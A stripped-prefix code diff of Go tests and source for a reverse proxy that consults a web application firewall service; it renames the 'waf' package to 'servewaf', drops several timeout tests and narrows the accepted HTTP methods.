t.Error("waf was asked")
t.Error("servewaf was asked")
}
})
}
@@ -379,33 +378,12 @@ type deadlineRecorder struct {
readDeadline time.Time
writeDeadline time.Time
// stalled, if set, sends the part of the request body that never arrives. A
// read deadline that has passed ends a read of it, as on a connection.
stalled *io.PipeWriter
// flushError, if set, is what every flush returns, and nothing is flushed.
flushError error
}
// FlushError, which http.ResponseController calls to flush, returns flushError
// if it is set, and otherwise flushes.
func (w *deadlineRecorder) FlushError() error {
if w.flushError != nil {
return w.flushError
}
w.Flush()
return nil
}
// SetReadDeadline notes deadline.
func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error {
w.readDeadline = deadline
if w.stalled != nil && !deadline.IsZero() && !deadline.After(time.Now()) {
_ = w.stalled.CloseWithError(os.ErrDeadlineExceeded)
}
return nil
}
@@ -426,7 +404,7 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
announced = 100 * questionBodyMaxBytes
)
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusNoContent)
})
@@ -444,7 +422,7 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
req.ContentLength = announced
req.Header.Set(contentLengthHeader, strconv.Itoa(announced))
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder(), stalled: stop}
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
before := time.Now()
@@ -461,45 +439,6 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
}
}
func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
app := startApp(t, answerBeforeTheBody)
_, _, server := startServer(t, standIn.URL, app.URL, nil)
// The visitor sends the first part and a little more, and then nothing.
stalled, stop := io.Pipe()
t.Cleanup(func() { _ = stop.Close() })
req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
req.ContentLength = 2 * questionBodyMaxBytes
req.Header.Set(contentLengthHeader, strconv.Itoa(2*questionBodyMaxBytes))
// Every flush fails, as once the time to send the answer has run out. The
// default time limits are far longer than the test, so rproxy records no
// refusal.
w := &deadlineRecorder{
ResponseRecorder: httptest.NewRecorder(),
stalled: stop,
flushError: os.ErrDeadlineExceeded,
}
before := time.Now()
server.Handler.ServeHTTP(w, req)
if w.Code != http.StatusOK {
t.Errorf("status %d, want the app's 200", w.Code)
}
if w.readDeadline.Before(before) || w.readDeadline.After(time.Now()) {
t.Errorf("the reading of the body ends at %s, want now", w.readDeadline)
}
}
func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
t.Parallel()
@@ -509,13 +448,13 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
name, target string
status int
}{
{"waf's deny", "/", http.StatusForbidden},
{"servewaf's deny", "/", http.StatusForbidden},
{"rproxy's own 400", "x:admin", http.StatusBadRequest},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, deny)
standIn := startServeWAF(t, deny)
app := startApp(t, greet)
_, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
@@ -542,34 +481,10 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
}
}
func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
t.Parallel()
const least = 10 * time.Second
standIn := startWAF(t, deny)
app := startApp(t, greet)
_, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
maxResponseTime: "300",
})
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
before := time.Now()
server.Handler.ServeHTTP(w, req)
if w.writeDeadline.Before(before.Add(least)) {
t.Errorf("the time limit on sending ends at %s, want %s from the answer at least",
w.writeDeadline, least)
}
}
func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "3000",
@@ -638,7 +553,7 @@ func TestAnAppTooSlowToTakeTheRequestIsAnswered504(t *testing.T) {
writeSize = 32 << 10
)
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
addr, _ := startRProxy(t, standIn.URL, startAppThatTakesNothing(t),
map[string]string{maxRequestTime: "3000"})
@@ -665,7 +580,7 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
t.Parallel()
release := make(chan struct{})
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(http.ResponseWriter, *http.Request) {
<-release
})
@@ -686,75 +601,13 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
}
}
func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(t *testing.T) {
t.Parallel()
// Four visitors at a time, each with an app and rproxy of its own, send more
// requests in the same time.
for visitor := range 4 {
t.Run(strconv.Itoa(visitor), func(t *testing.T) {
t.Parallel()
visitAsTheTimeRunsOut(t)
})
}
}
// visitAsTheTimeRunsOut sends requests to an app that answers about as
// SWRP_MAX_RESPONSE_TIME_MS runs out, and checks that each is answered with the
// app's 200 or a 504.
func visitAsTheTimeRunsOut(t *testing.T) {
t.Helper()
const limit = 50 * time.Millisecond
// answerAfter is how long the app waits before it answers.
var answerAfter atomic.Int64
backend := startWAFAnsweringReports(t, allow,
func(w http.ResponseWriter, _ *http.Request) {
w.WriteHeader(http.StatusNoContent)
})
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
time.Sleep(time.Duration(answerAfter.Load()))
_, _ = io.WriteString(w, greeting)
})
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
})
// After each 200 the app answers a little later, and after each 504 a little
// sooner, so that most of its answers arrive as the time runs out.
delay, step := limit/2, limit/4
for range 60 {
answerAfter.Store(int64(delay))
conn := dial(t, addr)
send(t, conn, "GET / HTTP/1.1\r\nHost: site.example\r\n\r\n")
switch status := readStatus(t, conn); status {
case http.StatusOK:
delay += step
case http.StatusGatewayTimeout:
delay -= step
default:
t.Fatalf("status %d, want the app's 200 or 504", status)
}
_ = conn.Close()
step = max(step/2, 20*time.Microsecond)
}
}
func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) {
t.Parallel()
const start = "the start"
release := make(chan struct{})
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = io.WriteString(w, start)
_ = http.NewResponseController(w).Flush()
@@ -803,7 +656,7 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
writeSize = 32 << 10
)
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
part := make([]byte, writeSize)
@@ -840,7 +693,7 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
got := get(t, addr, "/")
@@ -856,14 +709,12 @@ func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = io.WriteString(w, greeting)
})
// The request time limit is far longer than dial's deadline, so that a busy
// host cannot use it up before the app's answer arrives.
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "120000",
maxRequestTime: "3000",
})
// Far more announced than sent, so that Go's server answers for the app
@@ -877,170 +728,11 @@ func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.
}
}
// answerBeforeTheBody is an app that sends its whole answer, greeting, before it
// reads the request's body, and then reads the body.
func answerBeforeTheBody(w http.ResponseWriter, r *http.Request) {
rc := http.NewResponseController(w)
_ = rc.EnableFullDuplex()
w.Header().Set(contentLengthHeader, strconv.Itoa(len(greeting)))
_, _ = io.WriteString(w, greeting)
_ = rc.Flush()
_, _ = io.Copy(io.Discard, r.Body)
}
// sendAllButALittle sends a POST whose body stops short of its announced
// length, by less than Go's server reads of a body left unread before it
// answers.
func sendAllButALittle(t *testing.T, conn net.Conn) {
t.Helper()
send(t, conn, post+announcedLength(2*questionBodyMaxBytes)+
strings.Repeat("x", questionBodyMaxBytes+1))
}
// readAnswer reads the whole answer from conn.
func readAnswer(t *testing.T, conn net.Conn) answered {
t.Helper()
res, err := http.ReadResponse(bufio.NewReader(conn), nil)
if err != nil {
t.Fatalf("read the answer: %v", err)
}
body, err := io.ReadAll(res.Body)
_ = res.Body.Close()
if err != nil {
t.Fatalf("read the answer's body: %v", err)
}
return answered{res.StatusCode, res.Header, string(body)}
}
func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
app := startApp(t, answerBeforeTheBody)
// Both time limits are far longer than dial's deadline, so that the answer
// has to come before either runs out, and a busy host cannot use them up.
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "120000",
maxResponseTime: "60000",
})
conn := dial(t, addr)
sendAllButALittle(t, conn)
wantGreeting(t, readAnswer(t, conn))
}
func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.T) {
t.Parallel()
const limit = 2 * time.Second
standIn := startWAF(t, allow)
app := startApp(t, answerBeforeTheBody)
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: strconv.FormatInt(limit.Milliseconds(), 10),
})
conn := dial(t, addr)
start := time.Now()
sendAllButALittle(t, conn)
wantGreeting(t, readAnswer(t, conn))
// If the connection stays open, dial's deadline ends this read with a timeout.
rest, err := io.ReadAll(conn)
if err != nil || len(rest) != 0 {
t.Errorf("read %q (%v), want the connection closed", rest, err)
}
if closed := time.Since(start); closed < limit {
t.Errorf("the connection closed after %s, want %s at least", closed, limit)
}
}
func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOff(
t *testing.T,
) {
t.Parallel()
// rproxy passes on a part sent at once well within this limit, even on a busy
// host.
const limit = 2 * time.Second
// The app sends the parts in atOnce with its status and headers. It sends the
// parts in late only once rproxy has ended the request to it, which rproxy
// does when it cuts off the answer, so that those never reach the visitor.
for _, tc := range []struct {
name string
atOnce, late []string
}{
{"with the body in one part", nil, []string{greeting}},
{"with the body in two parts", []string{greeting[:5]}, []string{greeting[5:]}},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
rc := http.NewResponseController(w)
_ = rc.EnableFullDuplex()
w.Header().Set(contentLengthHeader, strconv.Itoa(len(greeting)))
for _, part := range tc.atOnce {
_, _ = io.WriteString(w, part)
}
_ = rc.Flush()
// The request's body ends when rproxy ends the request to the app.
_, _ = io.Copy(io.Discard, r.Body)
for _, part := range tc.late {
_, _ = io.WriteString(w, part)
_ = rc.Flush()
}
})
// The request time limit is far longer than dial's deadline.
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "120000",
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
})
conn := dial(t, addr)
sendAllButALittle(t, conn)
res, err := http.ReadResponse(bufio.NewReader(conn), nil)
if err != nil {
t.Fatalf("read the answer: %v", err)
}
// If the connection stays open, dial's deadline ends this read with a
// timeout.
body, err := io.ReadAll(res.Body)
_ = res.Body.Close()
want := strings.Join(tc.atOnce, "")
if string(body) != want || !errors.Is(err, io.ErrUnexpectedEOF) {
t.Errorf("read %q (%v), want %q and the connection closed", body, err, want)
}
})
}
}
func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
t.Parallel()
working := make(chan struct{})
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
close(working)
<-r.Context().Done()
@@ -1081,7 +773,7 @@ func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing
const answer = "the end of a long answer"
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
_, _ = io.Copy(io.Discard, r.Body)
_ = http.NewResponseController(w).Flush()
@@ -1100,7 +792,7 @@ func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing
}
}
func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T) {
func TestAVisitorThatStopsSendingGetsAnAnswerRProxyGivesByTheDeadline(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
@@ -1110,24 +802,23 @@ func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T
{"a deny", post, http.StatusForbidden},
{
"the health check",
"GET " + waf.HealthPath + " HTTP/1.1\r\nHost: site.example\r\n",
"GET " + servewaf.HealthPath + " HTTP/1.1\r\nHost: site.example\r\n",
http.StatusOK,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, deny)
standIn := startServeWAF(t, deny)
app := startApp(t, greet)
// The request time limit is longer than the 10 seconds an answer rproxy
// gives itself has to be sent, and than dial's deadline.
// The time limit is long enough for a loaded host to read the first part of
// the body before it runs out.
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "15000",
maxResponseTime: "300",
maxRequestTime: "3000",
})
// The body stops 100 bytes short, less than Go's server reads of a body
// left unread before it answers.
// Go's server waits for a little of the body left before it sends an answer,
// and the time for sending the request ends that wait.
conn := dial(t, addr)
send(t, conn, tc.start+announcedLength(questionBodyMaxBytes+100)+
strings.Repeat("x", questionBodyMaxBytes))
+36 -41
View File
@@ -12,11 +12,11 @@ import (
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/waf"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
)
// questionBodyMaxBytes is the most of a body a question carries.
const questionBodyMaxBytes = waf.QuestionBodyMaxBytes
const questionBodyMaxBytes = servewaf.QuestionBodyMaxBytes
// chunked is the encoding of a body whose length the visitor did not announce.
const chunked = "chunked"
@@ -29,7 +29,7 @@ const pathGoReencodes = "/some%2Fpath/with%20space|pipe"
func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
@@ -42,9 +42,9 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
req.Header.Set(forwardedForHeader, "198.51.100.1")
req.Header.Set(forwardedProtoHeader, "gopher")
req.Header.Set(requestIDHeader, "the-visitor's")
req.Header.Set(waf.ClientHeader, "198.51.100.2")
req.Header.Set(waf.PeerHeader, "198.51.100.3")
req.Header.Set(waf.ContentLengthHeader, "12345")
req.Header.Set(servewaf.ClientHeader, "198.51.100.2")
req.Header.Set(servewaf.PeerHeader, "198.51.100.3")
req.Header.Set(servewaf.ContentLengthHeader, "12345")
// Go's client then sends no User-Agent, so that one in the question would be
// Go's own.
req.Header["User-Agent"] = nil
@@ -68,8 +68,8 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
want.Set(forwardedForHeader, "198.51.100.1")
want.Set(forwardedProtoHeader, "http")
want.Set(requestIDHeader, asked.header.Get(requestIDHeader))
want.Set(waf.ClientHeader, localhost)
want.Set(waf.PeerHeader, localhost)
want.Set(servewaf.ClientHeader, localhost)
want.Set(servewaf.PeerHeader, localhost)
if !maps.EqualFunc(asked.header, want, slices.Equal) {
t.Errorf("the question's headers are %v, want %v", asked.header, want)
@@ -93,7 +93,7 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
forwarded := make(chan http.Header, 1)
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
forwarded <- r.Header.Clone()
@@ -110,8 +110,8 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
wantGreeting(t, visit(t, req))
asked := standIn.question(t)
if asked.header.Get(waf.ClientHeader) != tc.client ||
asked.header.Get(waf.PeerHeader) != localhost ||
if asked.header.Get(servewaf.ClientHeader) != tc.client ||
asked.header.Get(servewaf.PeerHeader) != localhost ||
asked.header.Get(forwardedForHeader) != visitor ||
asked.header.Get(forwardedProtoHeader) != tc.proto {
t.Errorf("the question's headers are %v", asked.header)
@@ -157,7 +157,7 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
trustedProxies: localhost + "/32,10.0.0.0/8",
@@ -167,8 +167,7 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
req.Header[forwardedForHeader] = tc.header
wantGreeting(t, visit(t, req))
if got := standIn.question(t).header.Get(waf.ClientHeader); got !=
tc.client {
if got := standIn.question(t).header.Get(servewaf.ClientHeader); got != tc.client {
t.Errorf("the question names %s, want %s", got, tc.client)
}
})
@@ -183,7 +182,7 @@ func randomBytes(n int) []byte {
return body
}
func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
func TestFirst64KiBReachServeWAFAndTheWholeBodyTheApp(t *testing.T) {
t.Parallel()
for _, size := range []int{
@@ -198,7 +197,7 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
t.Parallel()
body := randomBytes(size)
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
received := make(chan []byte, 1)
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
whole, _ := io.ReadAll(r.Body)
@@ -244,7 +243,7 @@ func wantQuestionBody(
len(want))
}
values := asked.header.Values(waf.ContentLengthHeader)
values := asked.header.Values(servewaf.ContentLengthHeader)
if announced {
if !slices.Equal(values, []string{strconv.Itoa(size)}) ||
@@ -265,7 +264,7 @@ func wantQuestionBody(
func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) {
t.Parallel()
standIn := startWAF(t, deny)
standIn := startServeWAF(t, deny)
app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
@@ -276,7 +275,7 @@ func TestDenyNeedsOnlyTheFirstPartOfALargeBody(t *testing.T) {
strings.Repeat("x", questionBodyMaxBytes))
if status := readStatus(t, conn); status != http.StatusForbidden {
t.Errorf("status %d, want waf's 403", status)
t.Errorf("status %d, want servewaf's 403", status)
}
if report := standIn.report(t); report.RequestBytes != questionBodyMaxBytes {
@@ -307,14 +306,14 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
t.Run(method+" "+tc.name, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, deny)
standIn := startServeWAF(t, deny)
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
conn := dial(t, addr)
send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing)
if status := readStatus(t, conn); status != http.StatusForbidden {
t.Errorf("status %d, want waf's 403", status)
t.Errorf("status %d, want servewaf's 403", status)
}
asked := standIn.question(t)
@@ -331,11 +330,11 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
t.Parallel()
for _, method := range []string{http.MethodTrace, "BREW"} {
for _, method := range []string{http.MethodTrace, "PROPFIND", "LOCK", "BREW"} {
t.Run(method, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
@@ -343,9 +342,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
if got.status != http.StatusMethodNotAllowed ||
got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
"MKCALENDAR" {
got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY" {
t.Errorf("answered %+v, want 405 naming the methods passed on", got)
}
@@ -356,7 +353,7 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
}
if len(standIn.questions) != 0 {
t.Error("waf was asked")
t.Error("servewaf was asked")
}
standIn.wantNoReport(t)
@@ -364,20 +361,18 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
}
}
func TestEachMethodPassedOnReachesWAFAndTheApp(t *testing.T) {
func TestEachMethodPassedOnReachesServeWAFAndTheApp(t *testing.T) {
t.Parallel()
for _, method := range []string{
http.MethodGet, http.MethodHead, http.MethodPost, http.MethodOptions,
http.MethodPut, http.MethodDelete, http.MethodPatch, "QUERY",
"PROPFIND", "PROPPATCH", "MKCOL", "COPY", "MOVE", "REPORT", "SEARCH",
"LOCK", "UNLOCK", "MKCALENDAR",
} {
t.Run(method, func(t *testing.T) {
t.Parallel()
reached := make(chan string, 1)
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
reached <- r.Method
})
@@ -389,7 +384,7 @@ func TestEachMethodPassedOnReachesWAFAndTheApp(t *testing.T) {
}
if asked := standIn.question(t); asked.method != method {
t.Errorf("waf was asked about %s", asked.method)
t.Errorf("servewaf was asked about %s", asked.method)
}
if atApp := <-reached; atApp != method {
@@ -399,7 +394,7 @@ func TestEachMethodPassedOnReachesWAFAndTheApp(t *testing.T) {
}
}
func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
func TestARequestThatCannotGoToServeWAFAsSentIsRefused(t *testing.T) {
t.Parallel()
const host = "Host: site.example\r\n\r\n"
@@ -421,7 +416,7 @@ func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
t.Run(name, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, nil)
@@ -439,7 +434,7 @@ func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
}
if len(standIn.questions) != 0 {
t.Error("waf was asked")
t.Error("servewaf was asked")
}
standIn.wantNoReport(t)
@@ -447,12 +442,12 @@ func TestARequestThatCannotGoToWAFAsSentIsRefused(t *testing.T) {
}
}
func TestAHostWithAPercentSignButNoBracketGoesToWAF(t *testing.T) {
func TestAHostWithAPercentSignButNoBracketGoesToServeWAF(t *testing.T) {
t.Parallel()
const host = "a%b"
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
@@ -473,7 +468,7 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
const want = "http"
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
trustedProxies: localhost + "/32",
@@ -502,7 +497,7 @@ func TestAQuestionNamesNoZone(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, deny)
standIn := startServeWAF(t, deny)
app := startApp(t, greet)
_, out, server := startServer(t, standIn.URL, app.URL, map[string]string{
trustedProxies: localhost + "/32",
@@ -515,8 +510,8 @@ func TestAQuestionNamesNoZone(t *testing.T) {
server.Handler.ServeHTTP(httptest.NewRecorder(), req)
asked := standIn.question(t)
if asked.header.Get(waf.ClientHeader) != tc.client ||
asked.header.Get(waf.PeerHeader) != tc.peer {
if asked.header.Get(servewaf.ClientHeader) != tc.client ||
asked.header.Get(servewaf.PeerHeader) != tc.peer {
t.Errorf("the question's headers are %v", asked.header)
}
+69 -126
View File
@@ -18,31 +18,20 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
"sneak.berlin/go/smallwebwaf/internal/waf"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
)
// flushAfterEachWrite has ReverseProxy pass on each part of the app's answer as
// soon as it arrives.
const flushAfterEachWrite time.Duration = -1
// reportStatusMax is the highest status waf takes in a report. An app can
// reportStatusMax is the highest status servewaf takes in a report. An app can
// send a higher one, up to 999, and the visitor gets that as it is.
const reportStatusMax = 599
// plainText is the Content-Type of the answers rproxy gives itself.
const plainText = "text/plain; charset=utf-8"
// minSendTime is the least time to send an answer rproxy gives itself, or the
// status and headers of the app's answer. A shorter time can run out before the
// first byte is written, on a busy host or as SWRP_MAX_RESPONSE_TIME_MS runs out,
// and the visitor then gets a closed connection and no answer.
const minSendTime = 10 * time.Second
// errResponseTooLate refuses an app's answer that arrives once
// SWRP_MAX_RESPONSE_TIME_MS has run out.
var errResponseTooLate = errors.New(
"the answer arrived after SWRP_MAX_RESPONSE_TIME_MS ran out")
// request is one request on its way through rproxy, from the moment its headers
// have been read to its log line and report.
type request struct {
@@ -60,14 +49,14 @@ type request struct {
peerTrusted bool
start time.Time
// disposition is what is done with the request: waf's valid disposition,
// disposition is what is done with the request: servewaf's valid disposition,
// or SWRP_DEFAULT_DISPOSITION. It is "" when neither gave one.
disposition string
// answered is true when waf gave disposition, which makes a report due,
// answered is true when servewaf gave disposition, which makes a report due,
// and byDefault when SWRP_DEFAULT_DISPOSITION did.
answered bool
byDefault bool
// asn and country are waf's X-Client-ASN and X-Client-Country, for the
// asn and country are servewaf's X-Client-ASN and X-Client-Country, for the
// app.
asn, country string
@@ -83,8 +72,8 @@ type request struct {
upgraded *upgradedConn
// mu guards what follows. The time limits run on goroutines of their own,
// and the transport starts and stops them, and notes requestEnd, from its
// own; once timersStopped is set, neither time limit acts any more.
// and the transport starts and stops them, and notes the times below, from
// its own; once timersStopped is set, neither time limit acts any more.
mu sync.Mutex
timersStopped bool
requestTimer *time.Timer
@@ -92,6 +81,8 @@ type request struct {
// requestEnd is when the app had been sent the whole request, or the answer
// started, if that was sooner.
requestEnd time.Time
// answerStarted is when the first byte of the app's answer arrived.
answerStarted time.Time
}
// newRequest starts handling r: it notes the time, works out the visitor from
@@ -131,14 +122,14 @@ func (rq *request) answerHealth() {
// visitor too slow to send it is answered 408. For a malformed chunk, or a
// visitor that went away or stopped its sending side, the connection is closed
// without an answer. A body over SWRP_MAX_REQUEST_SIZE goes on with the part
// read, so that waf is asked first; passToApp then refuses it.
// read, so that servewaf is asked first; passToApp then refuses it.
func (rq *request) readFirstPartOfBody() bool {
if rq.body == nil {
return true
}
_ = rq.rc.SetReadDeadline(rq.requestDeadline())
held, err := io.ReadAll(io.LimitReader(rq.body, waf.QuestionBodyMaxBytes))
held, err := io.ReadAll(io.LimitReader(rq.body, servewaf.QuestionBodyMaxBytes))
// From here on, the request timer ends a read of the rest of the body, so that
// the answer can name the side rproxy was waiting on.
_ = rq.rc.SetReadDeadline(time.Time{})
@@ -176,6 +167,7 @@ func (rq *request) forward(ctx context.Context) {
rq.cancel = cancel
ctx = httptrace.WithClientTrace(ctx, &httptrace.ClientTrace{
WroteRequest: rq.wroteRequest,
GotFirstResponseByte: rq.gotFirstResponseByte,
})
out := rq.in.WithContext(ctx)
@@ -200,7 +192,7 @@ func (rq *request) forward(ctx context.Context) {
// rewrite makes the request the app receives: the visitor's request, unchanged,
// sent to SWRP_UPSTREAM_URL, with the forwarded headers and the request's id set,
// without any X-Client-ASN or X-Client-Country the visitor sent, and with
// waf's.
// servewaf's.
func (rq *request) rewrite(pr *httputil.ProxyRequest) {
upstream := rq.h.config.UpstreamURL
pr.Out.URL.Scheme = upstream.Scheme
@@ -245,17 +237,6 @@ func (rq *request) modifyResponse(res *http.Response) error {
return nil
}
requestEnd := rq.endRequest()
// An answer that arrives once SWRP_MAX_RESPONSE_TIME_MS has run out is not
// passed on: the visitor is answered 504.
limit := rq.h.config.MaxResponseTime
if limit > 0 && !time.Now().Before(requestEnd.Add(limit)) {
rq.refuse(http.StatusGatewayTimeout)
return errResponseTooLate
}
maxBytes := rq.h.config.MaxResponseSize
if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
rq.refuse(http.StatusBadGateway)
@@ -270,14 +251,8 @@ func (rq *request) modifyResponse(res *http.Response) error {
rq.out.Header()["Content-Type"] = nil
}
rq.closeAfterAnswer()
// An answer that arrives before the app has been sent the whole request ends
// the request, and SWRP_MAX_RESPONSE_TIME_MS starts.
rq.startResponseTimer(requestEnd)
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
